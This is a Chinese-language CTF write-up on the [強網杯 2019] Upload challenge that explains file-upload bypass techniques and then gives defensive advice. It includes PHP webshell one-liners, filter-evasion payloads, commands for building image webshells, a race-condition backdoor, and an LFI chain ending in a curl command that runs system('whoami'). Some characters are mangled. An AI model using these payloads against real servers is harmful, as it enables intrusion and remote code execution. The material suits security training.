戰(zhàn)解析文件上傳漏洞:繞過防護(hù)與安全防御全攻略)
1. 項(xiàng)目概述從一道CTF題看文件上傳漏洞的攻防本質(zhì)最近在復(fù)盤一些經(jīng)典的網(wǎng)絡(luò)安全競賽題目特別是關(guān)于文件上傳漏洞的發(fā)現(xiàn)“[強(qiáng)網(wǎng)杯 2019]Upload”這道題非常有意思。它不像一些直白的題目給你一個(gè)明顯有缺陷的上傳點(diǎn)而是需要你像偵探一樣層層剝開它的防護(hù)找到那個(gè)唯一的、微小的突破口。這道題考察的遠(yuǎn)不止是“如何傳一個(gè)Webshell”它更深入地觸及了現(xiàn)代Web應(yīng)用在文件上傳功能上的安全設(shè)計(jì)邏輯、開發(fā)者常見的思維盲區(qū)以及攻擊者如何利用這些盲區(qū)進(jìn)行“精確打擊”。簡單來說這道題模擬了一個(gè)具備一定安全措施的上傳功能。它可能檢查了文件類型MIME、文件后綴甚至文件內(nèi)容但總會在某個(gè)環(huán)節(jié)留下邏輯上的“縫隙”。我們的目標(biāo)就是找到這條縫隙成功上傳一個(gè)能夠被服務(wù)器解析執(zhí)行的腳本文件比如一句話木馬從而拿到服務(wù)器的控制權(quán)俗稱“GetShell”。這個(gè)過程對于Web安全初學(xué)者而言是理解“黑盒測試”和“邏輯繞過”的絕佳案例對于有經(jīng)驗(yàn)的從業(yè)者則是一次檢驗(yàn)自己漏洞挖掘思維是否縝密的實(shí)戰(zhàn)演練。接下來我將完全從實(shí)戰(zhàn)角度帶你一步步拆解這道題可能涉及的防護(hù)與繞過手法。我會假設(shè)你就是那個(gè)坐在電腦前的挑戰(zhàn)者面對一個(gè)只有上傳功能的頁面手里只有瀏覽器和Burp Suite這類工具我們該如何思考如何操作。我會分享我在類似場景下踩過的坑、總結(jié)的技巧以及那些在標(biāo)準(zhǔn)文檔里不會寫的“騷操作”。2. 靶場環(huán)境搭建與初步信息收集2.1 理解題目環(huán)境與核心目標(biāo)在開始任何操作之前我們必須明確戰(zhàn)場環(huán)境。雖然我們無法還原當(dāng)年的比賽服務(wù)器但可以基于常見CTF出題思路和“Upload”這個(gè)關(guān)鍵詞構(gòu)建一個(gè)合理的測試環(huán)境。通常這類題目會提供一個(gè)簡單的網(wǎng)頁界面包含一個(gè)文件上傳表單。后端由PHP、Python或Java編寫運(yùn)行在Apache/Nginx等Web服務(wù)器上。我們的核心目標(biāo)始終如一讓服務(wù)器將我們上傳的文件視為可執(zhí)行的腳本而非靜態(tài)資源如圖片、文本。這意味著文件必須最終位于Web可訪問目錄如/var/www/html/upload/并且擁有一個(gè)能被服務(wù)器解析的后綴如.php,.jsp,.asp或者通過其他方式觸發(fā)服務(wù)器端代碼執(zhí)行。注意不要一上來就想著傳shell.php。現(xiàn)代應(yīng)用都有基礎(chǔ)防護(hù)直接傳大概率會被攔截。我們的第一步永遠(yuǎn)是“偵察”。2.2 手工信息收集前端與基礎(chǔ)交互首先用瀏覽器打開題目地址。你會看到一個(gè)上傳頁面。這時(shí)要做以下幾件事查看頁面源碼CtrlU尋找前端JavaScript驗(yàn)證代碼。這是第一道也是最容易繞過的一道防線。開發(fā)者可能用JS檢查文件后綴名。例如代碼中可能有if(!/\.(jpg|png|gif)$/i.test(filename)){ alert(‘只允許上傳圖片’); }。如果存在我們的繞過策略很簡單直接禁用瀏覽器JS或者用Burp Suite攔截修改請求讓請求根本不經(jīng)前端驗(yàn)證。嘗試上傳各類文件這是最重要的試探步驟。準(zhǔn)備幾個(gè)測試文件test.jpg(合法的圖片文件)test.php(內(nèi)容為?php phpinfo();?的簡單腳本)test.php.jpg(雙重后綴)test.pHp(大小寫混淆) 分別上傳仔細(xì)觀察服務(wù)器的反應(yīng)。返回的信息是關(guān)鍵詞可能包括“文件類型不允許” - 可能檢查Content-Type或MIME類型?!拔募缶Y名不允許” - 檢查文件名后綴黑/白名單?!拔募?nèi)容不合規(guī)” - 可能進(jìn)行了文件頭檢查或內(nèi)容過濾?!吧蟼鞒晒Α辈⒎祷匚募窂?- 這是最理想的情況但需要確認(rèn)文件是否真的被當(dāng)作腳本執(zhí)行。訪問返回的路徑如果顯示的是代碼而非執(zhí)行結(jié)果說明還有解析層面的問題。分析HTTP請求打開瀏覽器開發(fā)者工具F12的“網(wǎng)絡(luò)(Network)”選項(xiàng)卡進(jìn)行上傳操作。查看產(chǎn)生的POST請求。重點(diǎn)關(guān)注Content-Type字段是multipart/form-data。表單中的name屬性比如input typefile nameupload_file那么抓包時(shí)就會有一個(gè)參數(shù)叫upload_file。請求體中的Content-Disposition和Content-Type這里包含了客戶端告訴服務(wù)器的文件名和文件類型。這里的Content-Type如image/jpeg是客戶端聲明的極易被篡改是繞過MIME檢查的關(guān)鍵點(diǎn)。2.3 工具輔助Burp Suite深度抓包與改包手工測試后就該上主力工具Burp Suite了。配置好瀏覽器代理讓所有流量經(jīng)過Burp。攔截請求在Burp的Proxy-Intercept標(biāo)簽頁確保Intercept is on。然后在瀏覽器上傳文件Burp會截獲這個(gè)POST請求。關(guān)鍵參數(shù)分析查看被攔截的請求體你會看到類似這樣的結(jié)構(gòu)------WebKitFormBoundaryxxxxxx Content-Disposition: form-data; nameupload_file; filenametest.php Content-Type: application/octet-stream ?php phpinfo();? ------WebKitFormBoundaryxxxxxxfilenametest.php這是上傳的文件名。Content-Type: application/octet-stream這是瀏覽器對PHP文件的默認(rèn)MIME類型聲明。修改策略如果之前上傳.php被拒而上傳.jpg成功那么我們可以嘗試在Burp中直接修改這兩個(gè)地方進(jìn)行繞過。修改filename將test.php改為test.php.jpg或test.jpg。這是最簡單的后綴繞過嘗試。修改Content-Type將application/octet-stream改為image/jpeg。這是繞過基于MIME類型檢查的經(jīng)典方法。組合修改兩者同時(shí)修改filenametest.jpgContent-Type: image/jpeg。發(fā)送并觀察點(diǎn)擊Forward發(fā)送修改后的請求觀察服務(wù)器響應(yīng)。如果返回上傳成功路徑比如uploads/test.jpg立刻在瀏覽器訪問這個(gè)路徑。如果幸運(yùn)地看到了phpinfo()頁面那么恭喜你已經(jīng)繞過了基礎(chǔ)檢查。但“[強(qiáng)網(wǎng)杯]”級別的題目絕不會這么簡單。3. 常見上傳防護(hù)機(jī)制與高級繞過技術(shù)全解析僅僅修改請求參數(shù)就能成功的時(shí)代已經(jīng)過去了?,F(xiàn)在的防護(hù)是立體的。下面我結(jié)合這道題可能設(shè)置的關(guān)卡詳細(xì)拆解每一關(guān)的原理和破解之道。3.1 第一關(guān)客戶端校驗(yàn)與服務(wù)器端MIME類型檢查防護(hù)原理客戶端JS校驗(yàn)純粹是用戶體驗(yàn)優(yōu)化防止用戶誤選非圖片文件減輕服務(wù)器壓力。安全上毫無意義因?yàn)檎埱罂梢员惠p易繞過。服務(wù)器端MIME檢查后端代碼檢查$_FILES[‘file’][‘type’]PHP或類似變量。這個(gè)值直接來自HTTP請求中的Content-Type頭完全由客戶端控制因此同樣不可信。繞過方法對于JS校驗(yàn)禁用JS或使用Burp攔截即可。對于MIME檢查用Burp將請求中的Content-Type改為白名單內(nèi)的類型如image/jpeg,image/png,image/gif。實(shí)操心得這是最基本的繞過。如果題目只設(shè)了這一道防那相當(dāng)于“送分”。但現(xiàn)實(shí)是這幾乎是所有上傳功能的“標(biāo)配”起點(diǎn)我們必須先排除它。3.2 第二關(guān)文件后綴名檢查黑名單/白名單這是真正的核心防御之一。服務(wù)器會提取文件名最后的擴(kuò)展名進(jìn)行判斷。防護(hù)原理黑名單禁止上傳.php,.asp,.jsp,.exe等危險(xiǎn)后綴。問題在于名單可能不全。比如漏了.php5,.phtml,.phps或者在Apache中.php7也可能被解析。白名單只允許.jpg,.png,.gif等。這比黑名單安全得多但實(shí)現(xiàn)不嚴(yán)謹(jǐn)時(shí)仍有漏洞。繞過方法針對黑名單冷門后綴名嘗試.php5,.phtml,.phps,.php7。特別是在Apache的配置中如果存在AddType application/x-httpd-php .php .php5 .phtml這樣的行那么.php5和.phtml同樣會被解析為PHP。大小寫繞過在Windows服務(wù)器上不區(qū)分大小寫test.PHP、Test.Php可能被成功解析。Linux通常區(qū)分但也要試一下萬一后端校驗(yàn)邏輯是strtolower()后再比較呢點(diǎn)號繞過在Windows中文件名末尾的點(diǎn)號會被自動(dòng)去除。上傳shell.php.服務(wù)器存儲時(shí)可能變成shell.php。不過這種依賴于特定環(huán)境。空格繞過在Windows中文件名末尾的空格也會被去除。上傳shell.php注意末尾有空格。雙寫后綴如果后端采用簡單的字符串替換例如str_replace(“.php”, “”, $filename)那么上傳shell.pphphp替換一次后變成shell.php成功繞過。這是邏輯漏洞。繞過方法針對白名單 白名單的繞過更考驗(yàn)邏輯和服務(wù)器特性。解析漏洞利用這是最經(jīng)典的一類。例如Apache解析漏洞舊版本test.php.jpg可能被Apache解析為PHP。因?yàn)锳pache從右向左識別后綴直到遇到一個(gè)它認(rèn)識的可執(zhí)行后綴。如果它不認(rèn)識.jpg就會繼續(xù)向左找看到.php于是將整個(gè)文件當(dāng)作PHP執(zhí)行。但現(xiàn)代Apache默認(rèn)配置已修復(fù)此問題。IIS 6.0解析漏洞test.asp;.jpg或test.asp/.jpg會被IIS 6.0解析為.asp文件。這是IIS 6.0特有的嚴(yán)重漏洞。Nginx解析漏洞錯(cuò)誤配置如果Nginx配置不當(dāng)比如location ~ \.php$匹配PHP文件但用戶能上傳文件到某個(gè)目錄并通過/upload/test.jpg/xxx.php這樣的路徑訪問Nginx可能會錯(cuò)誤地將test.jpg交給PHP-FPM解析。這本質(zhì)是路徑穿越和配置錯(cuò)誤的結(jié)合。.htaccess文件攻擊僅Apache如果服務(wù)器允許上傳.htaccess文件且目標(biāo)目錄啟用了AllowOverride All或包含F(xiàn)ileInfo那么攻擊者可以完全控制該目錄的解析規(guī)則。例如上傳一個(gè)內(nèi)容為AddType application/x-httpd-php .jpg的.htaccess文件之后所有.jpg文件都會被當(dāng)作PHP執(zhí)行。這是“核彈級”的繞過但限制條件也多。文件包含漏洞結(jié)合這是白名單繞過的“終極形態(tài)”。如果網(wǎng)站存在本地文件包含LFI漏洞比如include($_GET[‘file’]);那么即使我們只上傳了一個(gè)內(nèi)容為PHP代碼的test.jpg也可以通過訪問index.php?file./uploads/test.jpg來觸發(fā)代碼執(zhí)行。此時(shí)文件后綴名無關(guān)緊要只要文件內(nèi)容被include或require函數(shù)讀取其中的PHP代碼就會被執(zhí)行。“[強(qiáng)網(wǎng)杯 2019]Upload”這道題極有可能需要結(jié)合這種思路。重要心得不要盲目嘗試所有繞過方法。根據(jù)服務(wù)器的返回信息是“后綴名不合法”還是“文件類型不合法”來縮小范圍。如果白名單非常嚴(yán)格只認(rèn)jpg/png/gif那么后綴繞過的重點(diǎn)就應(yīng)該立刻轉(zhuǎn)移到“解析漏洞”和“文件包含”上。3.3 第三關(guān)文件內(nèi)容檢查即使后綴和MIME都合法服務(wù)器還可能“看一眼”文件內(nèi)容。防護(hù)原理文件頭檢查Magic Number檢查文件開頭幾個(gè)字節(jié)魔數(shù)。例如JPEG文件頭是FF D8 FF E0PNG文件頭是89 50 4E 47。這是判斷文件真實(shí)類型的可靠方法。內(nèi)容關(guān)鍵字過濾檢查文件中是否包含?php、eval(、assert(等危險(xiǎn)函數(shù)字符串。可能會直接刪除或替換這些字符串。繞過方法對抗文件頭檢查制作一個(gè)“圖片馬”。用十六進(jìn)制編輯器如010 Editor或者命令行將一個(gè)真實(shí)的圖片和一個(gè)PHP Webshell拼接起來。Windows命令copy /b normal.jpg shell.php webshell.jpgLinux命令cat normal.jpg shell.php webshell.jpg這樣生成的文件文件頭是合法的圖片格式能通過文件頭檢查但末尾附帶了PHP代碼。這種文件能否被執(zhí)行取決于解析邏輯。如果服務(wù)器嚴(yán)格按照圖片解析后面的代碼是無效的。但如果存在前述的解析漏洞或文件包含這些代碼就能被激活。對抗內(nèi)容過濾換用短標(biāo)簽PHP支持?和?短標(biāo)簽需開啟short_open_tag??梢試L試?php phpinfo();?換成?phpinfo();?。使用其他標(biāo)簽script language”php”phpinfo();/script僅在特定舊版本PHP中有效。字符串變形與編碼使用$_GET[‘a(chǎn)’]($$_GET[‘b’])這種動(dòng)態(tài)函數(shù)調(diào)用避免直接出現(xiàn)eval。將代碼進(jìn)行Base64編碼然后使用eval(base64_decode(‘…’))。但eval本身可能被過濾。更高級的利用PHP的字符串處理函數(shù)和變量來拼接出危險(xiǎn)函數(shù)名。例如$a’ass’.’ert’; $a($_POST[‘x’]);。利用過濾邏輯缺陷如果過濾是str_replace(‘?php’, ”, $content)那么可以通過嵌套繞過?php?php phpinfo();?過濾一次后中間的?php被刪兩邊的字符拼起來又形成了新的?php。3.4 第四關(guān)服務(wù)端邏輯與條件競爭漏洞這是比較高階的漏洞考驗(yàn)對服務(wù)器處理流程的理解。防護(hù)原理一些系統(tǒng)會對上傳的圖片進(jìn)行“二次處理”比如縮放、裁剪、添加水印。處理完成后可能會刪除原始上傳文件只保留處理后的新圖片。如果處理過程存在時(shí)間差就可能產(chǎn)生競爭條件。漏洞原理攻擊者上傳一個(gè)內(nèi)容為PHP代碼的shell.jpg。服務(wù)器先將其保存到臨時(shí)路徑/tmp/shell.jpg。服務(wù)器調(diào)用圖像處理庫如GD庫處理這個(gè)文件。關(guān)鍵點(diǎn)如果圖像處理庫發(fā)現(xiàn)文件不是有效圖片處理會失敗服務(wù)器可能會刪除或忽略這個(gè)文件。但是從文件保存到被處理之間存在一個(gè)極短的時(shí)間窗口。利用方法條件競爭編寫一個(gè)不斷上傳shell.jpg內(nèi)容為PHP代碼的腳本。同時(shí)編寫另一個(gè)腳本以極快的速度不斷訪問上傳后的文件路徑如/uploads/shell.jpg。目標(biāo)是在服務(wù)器還沒來得及調(diào)用圖像處理庫刪除無效文件之前我們的訪問請求就已經(jīng)到達(dá)并讓PHP引擎解析執(zhí)行了這個(gè)文件。一旦成功即使文件隨后被刪除我們也已經(jīng)執(zhí)行了代碼例如用一句話木馬在服務(wù)器上創(chuàng)建一個(gè)新的、持久的后門文件。實(shí)操難點(diǎn)這個(gè)時(shí)間窗口非常短成功率依賴于網(wǎng)絡(luò)速度和服務(wù)器性能。通常需要編寫多線程/異步腳本進(jìn)行高頻并發(fā)攻擊。4. 針對“[強(qiáng)網(wǎng)杯 2019]Upload”的實(shí)戰(zhàn)攻擊鏈推演綜合以上所有技術(shù)點(diǎn)我們可以為這道題構(gòu)建一個(gè)合理的攻擊推演。強(qiáng)網(wǎng)杯作為高水平賽事題目往往是多種漏洞的組合。假設(shè)的題目場景 一個(gè)使用PHP開發(fā)的網(wǎng)站有一個(gè)頭像上傳功能。前端有JS校驗(yàn)后端檢查文件后綴白名單.jpg,.png,.gif、檢查MIME類型image/*、并對文件內(nèi)容進(jìn)行圖像處理如圖片縮放。同時(shí)網(wǎng)站另一個(gè)位置存在文件包含漏洞。我們的攻擊鏈可能如下信息收集確認(rèn)上傳正常圖片成功上傳.php文件返回“文件類型不允許”。用Burp改包將.php文件的Content-Type改為image/jpeg再次上傳返回“文件后綴名不合法”。由此確定存在后綴白名單校驗(yàn)。嘗試基礎(chǔ)繞過嘗試.php5,.phtml均被拒絕。嘗試test.php.jpg上傳成功但訪問時(shí)被當(dāng)作靜態(tài)圖片下載或顯示圖片損壞。說明服務(wù)器有基礎(chǔ)的文件頭檢查且不存在簡單的Apache解析漏洞。制作圖片馬使用copy /b normal.jpg shell.php shell.jpg制作圖片馬。其中shell.php內(nèi)容為精簡的一句話木馬?eval($_POST[‘cmd’]);?。上傳shell.jpg成功。尋找文件包含點(diǎn)這是關(guān)鍵一步。我們需要在網(wǎng)站其他功能點(diǎn)尋找像include($_GET[‘page’])或include(‘pages/’.$_GET[‘file’].’.php’)這樣的代碼。常見的可能存在文件包含的地方有模板加載、語言包加載、本地文件預(yù)覽等功能。通過目錄掃描、參數(shù)FUZZing模糊測試來尋找。假設(shè)我們通過掃描或代碼審計(jì)發(fā)現(xiàn)URL/index.php?actionpreviewfile../uploads/2023/10/avatar.jpg這個(gè)file參數(shù)看起來是包含一個(gè)文件路徑。嘗試路徑遍歷/index.php?actionpreviewfile../../../../etc/passwd如果成功讀取則證實(shí)存在文件包含漏洞。組合利用現(xiàn)在我們有了上傳的圖片馬路徑假設(shè)是/uploads/shell.jpg。我們通過文件包含漏洞去包含它/index.php?actionpreviewfile./uploads/shell.jpg。成功GetShell訪問上述鏈接。如果服務(wù)器配置了PHP當(dāng)它通過include或require函數(shù)讀取shell.jpg時(shí)會將其中的?eval($_POST[‘cmd’]);?當(dāng)作PHP代碼執(zhí)行。此時(shí)我們就可以用HackRF、中國菜刀等工具或者直接用curl命令以POST方式傳遞cmd參數(shù)來執(zhí)行任意命令了。例如curl -X POST -d “cmdsystem(‘whoami’);” http://target.com/index.php?actionpreviewfile./uploads/shell.jpg。另一種可能條件競爭 如果在第3步我們上傳圖片馬后服務(wù)器返回“文件上傳成功但處理失敗”或文件被刪除那么可能存在圖像處理邏輯。我們可以嘗試條件競爭攻擊編寫Python腳本一個(gè)線程不斷上傳包含創(chuàng)建后門代碼的圖片馬如?php file_put_contents(‘backdoor.php’, ‘?php eval($_POST[a]);?’);?另一個(gè)線程瘋狂訪問這個(gè)上傳后的臨時(shí)URL爭取在文件被刪除前執(zhí)行代碼從而在Web目錄下生成一個(gè)永久的backdoor.php文件。5. 防御策略與安全開發(fā)建議從攻擊者視角走出來作為開發(fā)者我們應(yīng)該如何構(gòu)建一個(gè)堅(jiān)固的文件上傳功能使用白名單永遠(yuǎn)使用后綴名白名單并且只允許最小集合如僅jpg, jpeg, png, gif。檢查文件內(nèi)容使用getimagesize()、exif_imagetype()等函數(shù)或讀取文件頭魔數(shù)驗(yàn)證文件確實(shí)是它聲稱的圖片格式。這是防止圖片馬的關(guān)鍵。重命名文件不要使用用戶上傳的文件名。使用隨機(jī)生成的文件名如UUID加上白名單后綴。例如a1b2c3d4e5f6.jpg。這可以防止覆蓋攻擊和某些解析漏洞??刂莆募?quán)限將上傳目錄設(shè)置為不可執(zhí)行。在Nginx/Apache配置中確保上傳目錄沒有腳本執(zhí)行權(quán)限。Nginx示例location ^~ /uploads/ { deny all; # 最安全禁止直接訪問?;蛘?# location ~ \.php$ { deny all; } # 禁止執(zhí)行該目錄下的php文件 }Apache示例在上傳目錄的.htaccess中設(shè)置php_flag engine off。使用云存儲或獨(dú)立域名將用戶上傳的文件存儲到OSS對象存儲服務(wù)并通過獨(dú)立的域名如static.yourdomain.com訪問。這些域名通常只提供靜態(tài)文件服務(wù)不執(zhí)行任何腳本從根本上杜絕了上傳漏洞導(dǎo)致代碼執(zhí)行的風(fēng)險(xiǎn)。對圖片進(jìn)行二次處理使用GD庫或Imagick等庫對上傳的圖片進(jìn)行縮放、裁剪或重新壓縮保存。這個(gè)過程會破壞嵌入在文件末尾的非圖片數(shù)據(jù)如Webshell代碼生成一個(gè)“干凈”的新圖片文件。注意處理邏輯要嚴(yán)謹(jǐn)避免條件競爭漏洞。禁用危險(xiǎn)函數(shù)在php.ini中將disable_functions設(shè)置為包含eval,assert,system,shell_exec,passthru,popen,proc_open等危險(xiǎn)函數(shù)。即使攻擊者上傳了腳本也無法執(zhí)行系統(tǒng)命令但可能還能進(jìn)行文件操作等。定期安全掃描與代碼審計(jì)對上傳功能進(jìn)行定期的滲透測試檢查是否存在邏輯漏洞。對代碼進(jìn)行審計(jì)確保沒有文件包含等二次漏洞。文件上傳漏洞是一個(gè)經(jīng)久不衰的話題因?yàn)樗苯雨P(guān)聯(lián)著“將用戶可控的數(shù)據(jù)變成可執(zhí)行的代碼”這一核心安全問題。解決它需要開發(fā)者具備縱深防御的思想從文件名、內(nèi)容、存儲、訪問等多個(gè)層面建立防線。而作為安全研究者或CTF選手理解每一道防線背后的原理和可能的裂縫正是我們破解難題、提升技能的必經(jīng)之路。這道“[強(qiáng)網(wǎng)杯 2019]Upload”題目就像是一個(gè)微縮的戰(zhàn)場把這場攻防博弈的精髓濃縮其中值得我們反復(fù)琢磨和練習(xí)。